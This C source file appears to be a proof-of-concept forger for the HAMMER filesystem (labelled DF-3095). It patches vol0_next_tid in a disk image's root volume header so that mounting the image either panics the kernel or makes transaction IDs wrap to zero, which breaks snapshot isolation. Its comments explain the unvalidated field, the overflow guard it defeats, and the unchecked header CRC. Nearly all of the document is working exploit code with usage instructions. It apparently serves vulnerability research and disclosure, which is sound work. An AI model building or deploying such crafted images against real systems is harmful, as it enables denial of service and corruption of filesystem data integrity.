DF-3095 / tid_craft.c
/* * tid_craft.c - DF-3095 PoC image forger. * * Root cause: hammer_vfs_mount() loads the root volume header's * vol0_next_tid into hmp->next_tid with no validation * (sys/vfs/hammer/hammer_vfsops.c:731). hammer_alloc_tid() * (sys/vfs/hammer/hammer_transaction.c:162-181) computes * tid = hmp->next_tid + 1; (master_id < 0) * tid = (hmp->next_tid + 16) & ~15; (master_id >= 0) * and panics with hpanic("Ran out of TIDs!") only when * tid >= 0xFFFFFFFFFF000000ULL *after* the increment. Two crafted * values defeat the guard: * * PANIC variant: vol0_next_tid = 0xFFFFFFFFFF000000 * -> tid = 0xFFFFFFFFFF000001 >= threshold -> hpanic * on the first write transaction after a RW mount. * * WRAP variant: vol0_next_tid = 0xFFFFFFFFFFFFFFFF * -> tid = 0 (uint64 wrap, 0 < threshold, no panic) * -> records/metadata get create_tid = 0, which * HAMMER's btree treats as "created at the * beginning of time": the record becomes visible * in EVERY historical snapshot (create_tid <= * asof for all asof), destroying snapshot * isolation on the filesystem. * * This tool patches vol0_next_tid in the root volume header (LBA 0) of * an existing newfs_hammer image. No CRC fixup is needed: the kernel * never verifies vol_crc (DF-3042). * * Build (guest): cc -O -o tid_craft tid_craft.c -I/usr/src/sys/vfs/hammer * Usage: tid_craft <img> [panic|wrap] */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <inttypes.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/param.h> #include <stddef.h> #include <hammer_disk.h> #define OOF(x) offsetof(struct hammer_volume_ondisk, x) int main(int ac, char **av) { struct hammer_volume_ondisk hdr; hammer_tid_t nt; int fd; off_t off = OOF(vol0_next_tid); if (ac != 3 || (strcmp(av[2], "panic") && strcmp(av[2], "wrap"))) { fprintf(stderr, "usage: tid_craft <img> [panic|wrap]\n"); return (2); } printf("vol0_next_tid @ header offset %llu (sizeof header %zu)\n", (unsigned long long)off, sizeof(hdr)); fd = open(av[1], O_RDWR); if (fd < 0) { perror("open"); return (1); } if (pread(fd, &hdr, sizeof(hdr), 0) != sizeof(hdr)) { perror("pread"); return (1); } if (hdr.vol_signature != HAMMER_FSBUF_VOLUME) { fprintf(stderr, "not a hammer volume (sig %016jx)\n", (uintmax_t)hdr.vol_signature); return (1); } printf("vol0_next_tid BEFORE = %016jx (btree_root %016jx)\n", (uintmax_t)hdr.vol0_next_tid, (uintmax_t)hdr.vol0_btree_root); if (strcmp(av[2], "panic") == 0) nt = 0xFFFFFFFFFF000000ULL; /* next tid crosses threshold */ else nt = 0xFFFFFFFFFFFFFFFFULL; /* next tid wraps to 0 */ hdr.vol0_next_tid = nt; if (pwrite(fd, &hdr, sizeof(hdr), 0) != sizeof(hdr)) { perror("pwrite"); return (1); } printf("vol0_next_tid AFTER = %016jx (%s variant)\n", (uintmax_t)nt, av[2]); return (0); } |